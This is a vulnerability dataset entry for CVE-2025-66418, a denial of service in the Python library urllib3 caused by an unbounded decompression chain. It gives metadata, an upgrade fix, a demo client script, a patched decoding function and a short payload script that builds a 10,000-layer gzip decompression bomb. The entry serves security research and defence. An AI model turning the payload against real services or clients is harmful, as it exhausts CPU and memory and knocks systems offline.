VAITP Dataset

← Back to the dataset

CVE-2025-66418

Denial of Service in urllib3 due to an unbounded decompression chain.

  • CVSS 8.9
  • CWE-770
  • Resource Management
  • Remote

urllib3 is a user-friendly HTTP client library for Python. Starting in version 1.24 and prior to 2.6.0, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. This vulnerability is fixed in 2.6.0.

CVSS base score
8.9
Published
2025-12-05
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
urllib3
Fixed by upgrading
Yes

Solution

Upgrade urllib3 to version 2.6.0 or later.

Vulnerable code sample

import urllib3
import sys

# This code uses a hypothetical vulnerable version of urllib3 (e.g., < 2.6.0)
# as described in the CVE. The vulnerability is not in this client code, but
# in the library's handling of a malicious server response.

# A malicious server would be configured to respond to a request with a
# multi-layered compressed payload and a corresponding Content-Encoding header.
# For example:
# HTTP/1.1 200 OK
# Content-Encoding: gzip, gzip, gzip, gzip, gzip, gzip, gzip, gzip
# Content-Length: 2048
#
# [binary data of a multi-compressed payload]

# URL of the malicious server serving the decompression bomb.
# In a real test, you would set up a local server (e.g., using Flask or http.server)
# to provide this malicious response.
MALICIOUS_URL = "http://localhost:8080/decompression_bomb"

print(f"Attempting to connect to a malicious server at {MALICIOUS_URL}...")
print("This script simulates a client vulnerable to CVE-2025-66418.")
print("If the library were vulnerable, it would now hang, consuming CPU and memory, and likely crash.")

try:
    # 1. Create a PoolManager. By default, `decode_content=True`, which means
    #    urllib3 will automatically handle decompression based on Content-Encoding.
    http = urllib3.PoolManager()

    # 2. Make the request. With `preload_content=True` (the default), urllib3
    #    will read the entire response body and attempt to decompress it in memory.
    #    A vulnerable version would not limit the decompression chain depth.
    response = http.request(
        "GET",
        MALICIOUS_URL,
        # Set a timeout to prevent the script from hanging indefinitely in a demo,
        # although in a real attack, the resource exhaustion would happen very quickly.
        timeout=5.0
    )

    # 3. If the vulnerability were successfully exploited, the program would
    #    crash or be terminated by the OS before ever reaching this point.
    print("\n---")
    print("Request completed successfully (This would not happen in a real attack).")
    print(f"Status: {response.status}")
    print("The library is likely patched or the server did not send a malicious payload.")
    print("---")

except urllib3.exceptions.MaxRetryError:
    print("\n---")
    print("Error: Connection failed. Is the malicious server running?")
    print("Please run a server on localhost:8080 that serves the malicious response.")
    print("---")
    sys.exit(1)
except Exception as e:
    # A timeout exception might occur if the server is running but the decompression
    # takes too long. In a real attack, memory/CPU exhaustion is the primary impact.
    print(f"\n---")
    print(f"An exception occurred, as expected in a demo: {type(e).__name__}")
    print("This could be a timeout, indicating the process was stuck decompressing.")
    print("---")

Patched code sample

import zlib

class DecompressionBombError(ValueError):
    """
    Raised when the number of decompression steps exceeds a safe limit.
    """
    pass

# A constant defining the maximum safe number of nested compressions.
# This limit is the core of the vulnerability fix.
DECOMPRESSION_CHAIN_LIMIT = 3

def decode_gzipped_body(data: bytes) -> bytes:
    """
    Decodes a gzipped body, enforcing a limit on decompression depth.
    This function represents the logic that fixes the unbounded decompression
    vulnerability.
    """
    num_decompressions = 0
    GZIP_MAGIC_NUMBER = b"\x1f\x8b"

    # Continuously decompress as long as the data is gzipped.
    while data.startswith(GZIP_MAGIC_NUMBER):
        # THE FIX:
        # Before each decompression, check if the depth limit has been reached.
        # If so, raise an exception to halt the process, preventing a
        # decompression bomb from consuming excessive CPU and memory.
        if num_decompressions >= DECOMPRESSION_CHAIN_LIMIT:
            raise DecompressionBombError(
                f"Exceeded the maximum allowed decompression chain depth of {DECOMPRESSION_CHAIN_LIMIT}."
            )
        
        num_decompressions += 1

        try:
            # The `16 + zlib.MAX_WBITS` argument handles gzip headers automatically.
            data = zlib.decompress(data, 16 + zlib.MAX_WBITS)
        except zlib.error as e:
            raise IOError("Failed to decompress gzipped content.") from e

    return data

Payload

import gzip

# This script generates a payload for a decompression bomb attack.
# It creates a file that is compressed multiple times.

# 1. Initial data. A single null byte is sufficient.
data = b'\x00'

# 2. Number of compression layers. A high number will cause the client to
#    expend significant CPU and memory during decompression.
nesting_level = 10000

# 3. Repeatedly compress the data, wrapping it in another gzip layer each time.
for _ in range(nesting_level):
    data = gzip.compress(data)

# The 'data' variable now holds the malicious payload.
# A server would send this as the HTTP response body with the
# 'Content-Encoding: gzip' header to trigger the vulnerability.
payload = data

# Example of how to save the payload to a file.
# with open('payload.gz', 'wb') as f:
#     f.write(payload)

Cite this entry

@misc{vaitp:cve202566418,
  title        = {{Denial of Service in urllib3 due to an unbounded decompression chain.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-66418},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-66418/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::